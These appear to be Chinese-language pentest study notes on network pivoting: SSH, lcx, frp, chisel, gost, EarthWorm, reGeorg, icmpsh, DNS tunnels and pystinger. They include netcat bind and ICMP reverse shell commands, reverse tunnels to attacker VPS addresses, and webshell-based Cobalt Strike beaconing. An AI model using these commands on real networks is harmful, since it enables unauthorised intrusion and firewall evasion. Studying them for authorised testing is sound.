网络隧道
概念
-
端口转发:感觉更应该叫流量转发,将来自一个网络节点的数据包转发到另一个网络节点,一般分为本地端口转发、正向端口转发、反向端口转发等,举个例子,本地设置一个端口转发,将8888端口的流量转发到80端口,这样访问8888端口的流量就跑到了80端口上,实际上我们访问到的就是80端口的服务,实际应用中,它用于路由器或防火墙上,以允许从公共网络访问内网服务。
-
端口映射的英文名就是nat,即端口映射与nat是同义词,泛指一个地址端口转换成另一个地址端口,不限内外网地址。比较具体的例子应该是docker主机的端口映射,例如将docker主机的22端口映射到宿主机的2222;可以说端口映射就是端口转发的一种
-
内网穿透,一般指内网映射,内网端口映射外网,比如可以在公网访问你内网的电脑。可以说是端口映射在内外网互通场景上的限定词义。
-
代理:分为正向代理和反向代理,正向代理如梯子,反向代理如服务器负载均衡
-
socks:代理常用的协议,中文意思:防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层),是介于传输层和应用层之间的,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。
目前有两个版本:SOCKS4和SOCKS5
SOCKS4支持TELNET、FTPHTTP等TCP协议;
SOCKS5支持TCP与UDP,并支持安全认证方案。
它是一种==可以穿透防火墙==的协议,很多场景都会用到。比如Fan墙
关于这一块其实只要分成三块来学就好:隧道、代理、转发
-
隧道技术解决不出网协议上线的问题(利用出网协议封装出网)
-
代理技术解决网络通讯不通的问题(利用跳板机建立节点)
转发感觉和代理差不多,但又不完全像
一、端口转发
1、SSH
https://wangdoc.com/ssh/port-forwarding
https://www.zsythink.net/archives/2450
https://www.bilibili.com/video/BV1fm4y1W7VQ
SSH 除了登录服务器,还有一大用途,就是作为加密通信的中介,充当两台服务器之间的通信加密跳板,使得原本不加密的通信变成加密通信。这个功能称为端口转发(port forwarding),又称 SSH 隧道(tunnel)。
ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。
参数
参数详解:
-T 不占用 shell
-f 后台运行,并推荐加上 -n 参数
-N 不执行远程命令
-g允许远端主机连接本地转发的端口
-C 允许压缩数据
-q 安静模式
-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)
-L port:host :hostport 正向代理
//将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-R port:host :hostport 反向代理
//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D port socks5代理
//指定一个本地机器 "动态" 应用程序端口转发
无论是本地端口转发还是远程端口转发,都需要在服务器上配置 /etc/ssh/sshd_config:
GatewayPorts yes
如果长时间保持连接,那么还需要开启:
TCPKeepAlive yes
执行ssh命令的一端为客户端,端口如果被转发到客户端就是本地转发,反之是远程转发
-
本地转发:==远程服务转发到本地==,如mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。
渗透中常用的场景是==跳板机当作SSH 服务器转发内网端口到本地,命令在攻击机执行==。
它的语法如下,其中会指定本地端口(local-port)、SSH 服务器(tunnel-host)、远程服务器(target-host)和远程端口(target-port)。
$ ssh -L -N -f local-port:target-host:target-port 用户名@跳板IP ssh -CfNg -L <代理ip>:<代理port>:<目的ip>:<目的port> 用户名@跳板IP(受害者ip)
上面命令中,有三个配置参数。
-L
:转发本地端口。
-
-N
:不发送任何命令,只用来建立连接。没有这个参数,会在 SSH 服务器打开一个 Shell。-
-f
:将 SSH 连接放到后台。没有这个参数,暂时不用 SSH 连接时,终端会失去响应。如下所示,将192.168.111.5的22端口转发到192.168.111.3自己本地的3334端口
中间可能会有warning转发不了,执行它提示的命令就好,比如我这里执行的是
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.111.5"
-
-
远程转发:远程转发指的是在远程 SSH 服务器建立的转发规则。它跟本地转发正好反过来。是通过远程 SSH 服务器访问本地计算机。
它的作用是==远程主机A的服务转发到远程主机B==,如内网的服务器A,外网不能直接访问,使用远程转发,将内网的服务器A端口转发到外网端口B(内网穿透)
渗透中常用的场景是==跳板机不允许别人主动连接的情况,只能跳板机主动发出连接请求,命令在跳板机执行==。
它的命令格式如下:
$ ssh -R remote-port:target-host:target-port -N remotehost ssh -CfNg -R <转发到的端口>:<被转发的地址>:<被转发的端口> 用户名@远程IP(黑客的ip)
上面命令中,
-R
参数表示远程端口转发,remote-port
是远程 SSH 服务器的端口,target-host
和target-port
是目标服务器及其端口,remotehost
是远程 SSH 服务器。注意:
- 公网服务器修改配置:/etc/ssh/sshd_config GatewayPorts yes 重启ssh
- sshd_config里要打开
AllowTcpForwarding
选项,否则-R
远程端口转发会失败。 - 默认转发到远程主机上的端口绑定的是
127.0.0.1
,如要绑定0.0.0.0
需要打开sshd_config里的GatewayPorts
选项。这个选项如果由于权限没法打开也有办法,可配合ssh -L
将端口绑定到0.0.0.0
,聪明的你应该能想到办法,呵呵。
-
动态转发
跟本地转发类似,区别是本地转发指定访问某个远程端口,而这里是不指定的,可以用来创建==socks代理==
通常用于绕过防火墙或者受限制资源的情况
远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。
ssh -qTfnN -D <代理port> 用户名@跳板IP(A)
本地Proxychains配置socks5 127.0.0.1 1080
这里我kali设置本地1088端口,再去浏览器设代理是可以访问到CFS二层靶机的
2、Lcx
https://www.cnblogs.com/-mo-/p/11537339.html
lcx是一款端口转发工具,有三个功能:
- 第一个功能将本地端口转发到远程主机某个端口上(代理)
- 第二个功能将本地端口转发到本地另一个端口上(绕过只允许本地连接的情况)
- 第三个功能是进行监听并进行转发使用
win
Usage:lcx-<listen|tran|slave> <option> [-log logfile]
-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
本地转到本地lcx -listen 40050 10000
-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
本地端口转到其他机器lcx -slave 1.1.1.1 40050 10.10.0.3 3389
-
本地(正向)端口转发
lcx.exe -tran <转发到的port> <被转发的ip> <被转发的port>
-
反向端口转发
公网服务器监听1234并转发到本地8888
lcx.exe -listen 1234 8888
内网服务器开启反向连接,将本地3389端口转发至外网服务器1234端口:
lcx.exe -slave 192.168.100.1 1234 127.0.0.1 3389
攻击机连接公网服务器的8888端口
-
Linux版lcx
Linux版本的lcx叫做portmap
先将对应的c文件上传至linux服务器中,通过gcc进行编译后即可使用:
gcc portmap.c -o lcx Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] -v: version -h1: host1 -h2: host2 -p1: port1 -p2: port2 -log: log the data -m: the action method for this tool 1: listen on PORT1 and connect to HOST2:PORT2 2: listen on PORT1 and PORT2 | 本地转到本地./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777 3: connect to HOST1:PORT1 and HOST2:PORT2 | 本地端口转到其他机器./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666
功能与windows版一样,例如将流量正向转发至外网服务器的3389端口:
./lcx -m l -p1 8888 -h2 192.168.3.140 -p2 3389
多层代理
首先,在VPS上进行下面操作。监听 2222 的流量,将其转发给 22222 端口。相当于正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222
在内网主机上操作,将22端口的流量转发到VPS(114.118.80.138)的22222端口。相当于反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222
我们连接VPS的2222端口,就相当于连接了内网主机的22端口。
ssh root@114.118.80.138 2222
3、Netsh
netsh 是==Windows自带==的命令行脚本工具,它可以建立端口映射。与LCX不同,netsh==不支持反向的端口转发==。
和lcx类似,我们将外网服务器的80端口,转发到8888端口:
netsh interface portproxy add v4tov4 listenport=8888 connectport=80 connectaddress=192.168.3.140
通过以下命令可查询当前转发策略:
Netsh interface portproxy show all
可通过delete命令删除策略:
netsh interface portproxy delete v4tov4 listenport=8888
下面演示跳板机把内网的3389转发到自己的8888(正向代理)
在外网服务器配置端口转发:
netsh interface portproxy add v4tov4 listenaddress=192.168.3.140 8888 connectaddress=192.168.100.2 connectport=3389
删除策略:
netsh interface portproxy delete v4tov4listenport=8888 listenaddress=192.168.3.140
4、frp
frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
https://github.com/fatedier/frp/releases
服务端
[common]
bind_port = 7000
./frps -c ./frps.ini
客户端
[common]
server_addr = 152.x.x.x #服务端ip,也就是公网服务器ip
server_port = 7000 #服务器端口
[ssh] #这个是节点名称,可以随便写
type = tcp #通信协议 或者是 plugin =
local_ip = 127.0.0.1 #本地地址
local_port = 3389 #要转发的端口
remote_port = 6000 #要转发到的远程端口!!!
./frpc -c frpc.ini
然后连接服务端的6000端口就好,==注意连接的不是监听端口,而是客户端指定的端口==
本地端口转发的话可以在本地同时开始服务端和客户端,ip指定本地就好
5、nc
https://ssooking.github.io/2020/05/nc%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/
nc的功能是很强大的,可以反弹shell、通讯、文件传输,甚至能端口转发
正向转发,所有发往本机8888端口的流量都会跑到192.168.111.3的22端口
nc -l -p 8888 -c "nc 192.168.111.3 22"
#或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
#or
mknod /tmp/pipe p && nc -l -p 8888 < /tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
解决nc单次连接问题
常见nc版本
- nc、ncat、netcat
- nc -c netcat-traditional
nc
while :; do (nc -l -p 8888 -c "nc 192.168.19.153 22"); done
while [ 1 ]; do nc -l -p 8888 -c "nc 192.168.19.153 22"; done
while [ 1 ]; do mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe; done
socat
# 本地转发
socat tcp-l:8888,reuseaddr,fork tcp:localhost:22
# 远程转发
socat tcp-l:8888,fork,reuseaddr tcp:192.168.19.153:22
ncat
当客户端与服务器断开连接时,服务器也会停止监听,可以通过选项’k’强制服务器保持连接状态并继续侦听端口:
#Now all the connections for port 80 will be forwarded to port 8080.
ncat -u -l 80 -c 'ncat -u -l 8080'
ncat -l -k localhost 8080 --sh-exec "ncat example.org 80"
netcat
http://netcat.sourceforge.net/download.php
netcat -l -p 1234 -e /bin/bash
# 把访问某个端口的数据转发到本地或远程端口
netcat -L 127.0.0.1:22 -p 8080 -vvv
netcat -L 192.168.10.1:80 -p 25000 -vvv
nc结合ssh
mkfifo pipe
nc -l -p 8080 < pipe | ssh gw_to_private_net -p 22977 "nc 192.168.12.230 80" | tee pipe
常见nc端口转发命令:
nc -v -lk -p 8001 -e /usr/bin/nc 127.0.0.1 8000
此外还可能遇到不支持某些参数的情况,可以使用多管道传输。
OSX:
mkfifo a
mkfifo b
nc 127.0.0.1 8000 < b > a &
nc -l 8001 < a > b &
在OS X bash上使用双向管道。该命令也可能在其他Unix上运行:
nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0
Linux:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe
二、SOCKS代理
chisel
https://github.com/jpillora/chisel
这款工具底层采用了HTTP进行传输,将TCP/UDP链接封装在HTTP隧道中,并且还使用了SSH对通信数据进行加密。
==代理==
正向
靶机chisel.exe server -p 7788
攻击机chisel client 110.40.177.201:7788 socks
默认在1080端口上开启一个socks代理,当然这个端口可以改,使用$port:socks
反向
攻击机chisel server -p 7788 --reverse
靶机chisel.exe client 39.101.65.187:7788 R:socks
ssh -C -f -N -g -L 0.0.0.0:10080:127.0.0.1:1080 root@VPS
把1080的流量转向10080
==二级代理+二级端口转发==
代理
kali:
chisel server -p 3333 --reverse
web01:
开启两个终端,既要运行 client 也要运行 server
chisel server -p 2222 --reverse --socks5
chisel client 192.168.126.132:3333 R:1111:socks
web02:
chisel client 192.168.150.128:2222 R:5555:socks
proxychains.conf 文件设置代理链
socks5 127.0.0.1 1111
socks5 127.0.0.1 5555
二级端口转发
kali:
chisel server -p 3333 --reverse
web01:
开启两个终端,既要运行 client 也要运行 server
chisel server -p 2222 --reverse
chisel client 192.168.126.132:3333 R:1111:127.0.0.1:5555
web02:
chisel client 192.168.150.128:2222 R:5555:192.168.59.129:80
在 kali 上访问 127.0.0.1:1111,即可访问 192.168.59.129 的 80 端口
chisel client 110.40.177.201:7788 R:4444:socks
==端口转发==
正向
靶机chisel server -p 12345
攻击机chisel.exe client 192.168.61.128:12345 11111:127.0.0.1:8000
这时我们就将靶机的8000端口转发到攻击机的11111端口上了,此时在攻击机上访问127.0.0.1:11111
反向
攻击机chisel.exe server -p 7788 --reverse
靶机chisel client 192.168.61.129:12345 R:11111:127.0.0.1:7788
chisel.exe client -v VPS:6666 R:0.0.0.0:33389:192.168.223.151:3389
EarthWorm
https://www.freebuf.com/sectool/282993.html
EW 是一套便携式的网络穿透工具,既支持SOCKS5代理转发,又支持静态端口转发。
该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_listen、lcx_tran)
-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式
工作模式支持如下:
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
静态端口转发功能和lcx类似,下面来讲讲socks代理功能。
-
正向代理
边缘服务器上传ew,开启代理监听
ew.exe -s ssocksd -l 1080
然后我们攻击机浏览器代理直接连到这个跳板机的8899,就可以直接访问它内网的网站了
当然也可以用Proxifier或者proxychains进行代理
-
反向代理
假设外网服务器不允许外部向其主动发起连接,则使用反向代理的方法。
首先在攻击机上开启监听:
ew.exe -s rcsocks -l 1080 -e 8880
外网服务器向攻击机8880端口发起连接:
ew.exe -s rssocks-d 192.168.3.1 -e 8880
然后代理连接本地的1080就好了
gost
常用
反向代理
// vps 106.53.104.88
gost -L socks5://:11122
// 内网主机
gost -L socks5://:65143
gost -L=rtcp://:58811/0.0.0.0:65143 -F=socks5://vps:11122
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://vps:1080?notls=true
正向代理
启动参数
GOST目前有以下几个参数项:
-L
- 指定本地服务配置,可设置多个。
-F
- 指定转发服务配置,可设置多个,构成转发链。
-C
- 指定外部配置文件。
-D
- 开启Debug模式,更详细的日志输出。
-V
- 查看版本,显示当前运行的gost版本号。
配置文件
除了通过命令行直接配置服务外,也可以通过-C
参数指定外部配置文件来设置参数:
gost -C gost.json
配置文件为标准json
格式:
{
"Debug": true,
"Retries": 0,
"ServeNodes": [
":8080",
"ss://chacha20:12345678@:8338"
],
"ChainNodes": [
"http://192.168.1.1:8080",
"https://10.0.2.1:443"
],
"Routes": [
{
"Retries": 1,
"ServeNodes": [
"ws://:1443"
],
"ChainNodes": [
"socks://:192.168.1.1:1080"
]
},
{
"Retries": 3,
"ServeNodes": [
"quic://:443"
]
}
]
}
格式说明:
Debug
- 对应命令行参数-D
。(2.4+)
Retries
- 通过代理链建立连接失败后的重试次数。(2.5+)
ServeNodes
- 必须项,等同于命令行参数-L
。
ServeNodes
- 必须项,等同于命令行参数-L
。
ChainNodes
- 等同于命令行参数-F
。
Routes
- 可选参数,额外的服务列表,每一项都拥有独立的转发链。(2.5+)
kali
kali 监听11122端口
gost -L socks5://:11122
centos主机 centos
顺序执行下面两个命令
nohup ./gost -L socks5://:65143
nohup ./gost -L=rtcp://:58811/0.0.0.0:65143 -F=socks5://192.168.1.131:11122
代理: 192.168.1.131:58811
终止运行中的nohup服务,可以按照以下步骤进行操作:
首先,使用ps命令查找正在运行的nohup进程。在命令行中执行以下命令:
ps aux | grep nohup
这将列出包含"nohup"关键字的进程列表。
根据查询结果找到要终止的nohup进程的进程ID(PID)。
使用kill命令向指定的进程发送终止信号。在命令行中执行以下命令,将PID替换为实际的进程ID:
kill PID
例如,如果要终止PID为12345的进程,执行以下命令:
kill 12345
代理模式
开启一个或多个代理服务,并可以设置转发链进行转发。
开启一个HTTP代理服务
命令行配置文件
gost -L http://:8080
启动一个监听在8080端口的HTTP代理服务。
开启多个代理服务
命令行配置文件
gost -L http://:8080 -L socks5://:1080
启动两个服务,一个监听在8080端口的HTTP代理服务,和一个监听在1080端口的SOCKS5代理服务。
使用转发
命令行配置文件
gost -L http://:8080 -F http://192.168.1.1:8080
监听在8080端口的HTTP代理服务,使用192.168.1.1:8080做为上级代理进行转发。
使用多级转发(转发链)
命令行配置文件
gost -L :8080 -F http://192.168.1.1:8080 -F socks5://192.168.1.2:1080
GOST按照-F
设置的顺序将请求最终转发给192.168.1.2:1080处理。
转发模式
更详细的使用说明请参考端口转发。
TCP本地端口转发
命令行配置文件
gost -L tcp://:8080/192.168.1.1:80
将本地的TCP端口8080映射到192.168.1.1的80端口,所有到本地8080端口的数据会被转发到192.168.1.1:80。
UDP本地端口转发
命令行配置文件
gost -L udp://:10053/192.168.1.1:53
将本地的UDP端口10053映射到192.168.1.1的53端口,所有到本地10053端口的数据会被转发到192.168.1.1:53。
TCP本地端口转发(转发链)
命令行配置文件
gost -L=tcp://:8080/192.168.1.1:80 -F socks5://192.168.1.2:1080
将本地的TCP端口8080通过转发链映射到192.168.1.1的80端口。
TCP远程端口转发
命令行配置文件
gost -L=rtcp://:2222/:22 -F socks5://192.168.1.2:1080
在192.168.1.2上开启并监听TCP端口2222,并将192.168.1.2上的2222端口映射到本地TCP端口22,所有到192.168.1.2:2222的数据会被转发到本地端口22。
UDP远程端口转发
命令行配置文件
gost -L=rudp://:10053/:53 -F socks5://192.168.1.2:1080
在192.168.1.2上开启并监听UDP端口10053,并将192.168.1.2上的10053端口映射到本地UDP端口53,所有到192.168.1.2:10053的数据会被转发到本地端口53。
多层代理
#代理跳板
#第三层跳板,设置代理
./gost -L mtls+kcp://admin:123456@0.0.0.0:22222
#第二层跳板,设置代理,且指定后续跳转到第三层跳板
./gost -L=socks5://admin:123456@:22222 -F=mtls+kcp://admin:123456@第三层跳板的IP:22222
#第一层跳板,开启代理1080端口,且指定第二层和第三层跳板
.\gost.exe -L socks5://:1080 -F=mtls+kcp://admin:123456@第二层跳板的IP:22222 -F=mtls+kcp://admin:123456@第三层跳板的IP:22222 #顺序不能乱、不能少
MSF
三、隧道
https://www.freebuf.com/articles/network/242015.html
常用的隧道技术有以下三种:
-
网络层:IPv6 隧道、ICMP 隧道
-
IPV6:IPv6 隧道技术是指==通过 IPv4 隧道传送IPv6 数据报文==的技术。
支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等
因为现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要进行人工配置。
攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。
-
ICMP:在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过ping命令访问远程主机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。
-
-
传输层:TCP 隧道、UDP 隧道、常规端口转发
我们常用的lcx、nc就是这个层的隧道
-
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
-
SSH
SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。
-
判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:
\1. TCP 协议
用“瑞士jundao”——netcat
执行 nc 命令:nc <IP> <端口>
。
\2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>
命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。
\3. CIMP 协议
用“ping”命令,执行ping <IP地址/域名>
。
\4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”。
nslookup 是windows自带的DNS探测命令,执行:
nslookup www.baidu.com vps-ip
nslookup www.baidu.com // 不指定服务器,则使用默认的DNS服务器
dig是linux系统自带的DNS探测命令,执行:
dig @vps-ip www.baidu.com
dig www.baidu.com // 不指定服务器,则使用默认的DNS服务器
HTTP - reGeorg
地址:https://github.com/sensepost/reGeorg
例如有一台主机运行了web服务IP映射到公网任何人都可以任意访问,还有一台主机是内网中的主机外部访问不到。假设在公网的web主机已经上传了webshell,但无法反弹shell,无法直接将内网主机通过端口映射到外网主机。
reGeorg这时就起作用了,通过上传reGeorg文件在web服务运行,使得攻击者发出的请求以及目标机器的响应经web服务的http转发,达到攻击者可以和内网主机进行通信的效果。
reGeorg是一款把内网服务器端口的数据通过==HTTP/HTTPS隧道==转发到本机,实现基于HTTP通信的工具。
使用时需要==配合webshell==建立一个SOCKS代理来进行内网穿透,支持多种类型的webshell:
reGeorg requires Python 2.7 and the following modules:
- urllib3 - HTTP library with thread-safe connection pooling, file post, and more.
$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
==运行python脚本前一定要给上传到跳板机的脚本文件加权限!==
python2运行reGeorgSocksProxy.py脚本配置代理,当程序卡在“Georg says, ‘All seems fine’”表示正常运行
$ python2 reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
-p指定端口后用proxy工具连接到这个端口就好,windows用proxifier,linux用proxychains
reGeorg+Proxifier
这个软件值得说的只有代理规则的配置
reGeorg+proxychains
https://blog.lanweihong.com/posts/49517/
ProxyChains 遵循GNU协议的一款适用于linux系统的网络代理设置工具。强制由任一程序发起的TCP连接请求必须通过诸如TOR 或 SOCKS4, SOCKS5 或HTTP(S) 代理。支持的认证方式包括:SOCKS4/5的用户/密码认证,HTTP的基本认证。允许TCP和DNS通过代理隧道,并且可配置多个代理。
GitHub:
proxychains-ng 是 proxychains 的加强版,目前用得比较多的也是 proxychains-ng。
安装
git clone https://ghproxy.com/https://github.com/rofl0r/proxychains-ng.git
yum install gcc
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
make install
make install-config
cd .. && rm -rf proxychains-ng
安装后默认配置文件在/etc/proxychains.conf
proxychains-ng支持多种代理模式:
-
dynamic_chain :按照代理列表顺序自动选取可用代理
-
strict_chain :按照代理列表顺序使用代理,所有代理必须可用
-
round_robin_chain :轮询模式,自动跳过不可用代理
-
random_chain :随机模式
我们只需要编辑proxychains的配置文件,将scosks代理的ip,端口,用户名,密码填进去即可
vi /etc/proxychains.conf #直接划到最后
#socks4 127.0.0.1 9050 #注释或者直接删掉默认的本地代理
socks5 104.168.13.4 19059 test passwd #填入socks代理信息
#保存并退出
使用:
只需要使用代理的命令前加上proxychains就可以了,比如proxychains4 curl cip.cc
,我们可以看到IP已经变成socks代理的IP。
当然,我们也可以直接输入proxychains bash
,这样就能新建一个具有代理功能的新终端,不需要在每条命令前都加proxychains了。
ICMP
在 ICMP 通信协议中,==通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的==。
icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。
icmpsh的使用:
imcpsh.exe参数:
-t host主机ip地址,用于向其发送ping请求。 此选项是强制性的!
-r 发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。
-d 毫秒请求之间的延迟(以毫秒为单位)
-o 毫秒响应超时(以毫秒为单位)。 如果未及时收到回复,
从站将增加一个空白计数器。 如果该计数器达到极限,则从站将退出。
如果收到响应,则计数器设置回0。
-b 空格数限制(退出前未答复的icmp请求
-s 字节最大数据缓冲区大小(以字节为单位)
服务端:
python icmpsh_m.py ip 目标ip
目标机
icmpsh.exe -t 目标ip
即可反弹icmp隧道shell回来。
DNS
这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是http://123.com,添加一个子域名http://a.123.com,且类型为NS,并将NS记录指向http://b.123.com,然后将http://b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。
a.123.com NS b.123.com
b.123.com A 1.1.1.1
https://link.zhihu.com/?target=https%3A//github.com/HEYAHONG/dns2tcp
客户端
dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口
服务端
修改dns2tcpd.conf,
listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080
然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。
dns2tcpd -F -d 3 -f /home/dns2tcpd.conf
建立传输
目标主机监听并接受文件即可。
毒刺-pystinger
pystinger 可通过 webshell 实现ss4代理、端口映射,并且可以利用pystinge实现CobaltStrike / Metasploit上线。由于稳定性、速度一般,不建议优先使用,在常规正向代理没法用、只能访问web服务的时候或者想在不出网的机器上C2,可以尝试。
下载地址:https://github.com/FunnyWolf/pystinger
通过webshell实现内网SOCK4代理,端口映射可以使目标不出网情况下在cs上线。
-
首先上传对应语言的脚本到网站目录下。
-
将stinger_server.exe上传到目标服务器
将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端 不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
创建stinger_server.vbs文件,示例如下:
Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
-
把stinger_client上传到公网vps,-w指定proxy的url地址运行。
此时已经在
VPS
的 6000 端口启动了一个ss4a代理,同时将目标机器 60020 端口映射到VPS
上的60020(好像是默认的)
chmod 777 stinger_client
./stinger_client -w http://x.x.x.x/proxy.jsp -l 0.0.0.0 -p 6000
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
cobalt strike添加监听,端口选择输出信息RAT Config
中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
- 生成payload,执行可以利用pystinger,进行不出网主机上线。
坑点:使用过程中cs会话可能假死掉,需要把stinger_server.exe进程结束掉,然后重新启动。
四、穿透工具
Ngrok
支持http https tcp协议
提供免费的内网穿透服务,举个内网连接kali反向木马的例子
-
我们可以用它把kali穿透到这个网站提供的免费域名和端口上
-
kali生成反向木马,反向木马连接这个网站给的域名和端口
-
kali监听本地端口(设置穿透端口时自己填的那个端口)
-
这样就实现了内网到内网的msf上线
frp
支持的协议更多
上面写了
nps
可支持tcp、udp以及他们的任何上层协议,此外还支持内网http代理、内网socks代理、p2p等,并带有强大的web管理端
项目地址:https://github.com/ehang-io/nps
文档:https://ehang-io.github.io/nps/
spp
可以任意封装流量,用来搭建隧道
项目地址:https://github.com/esrrhs/spp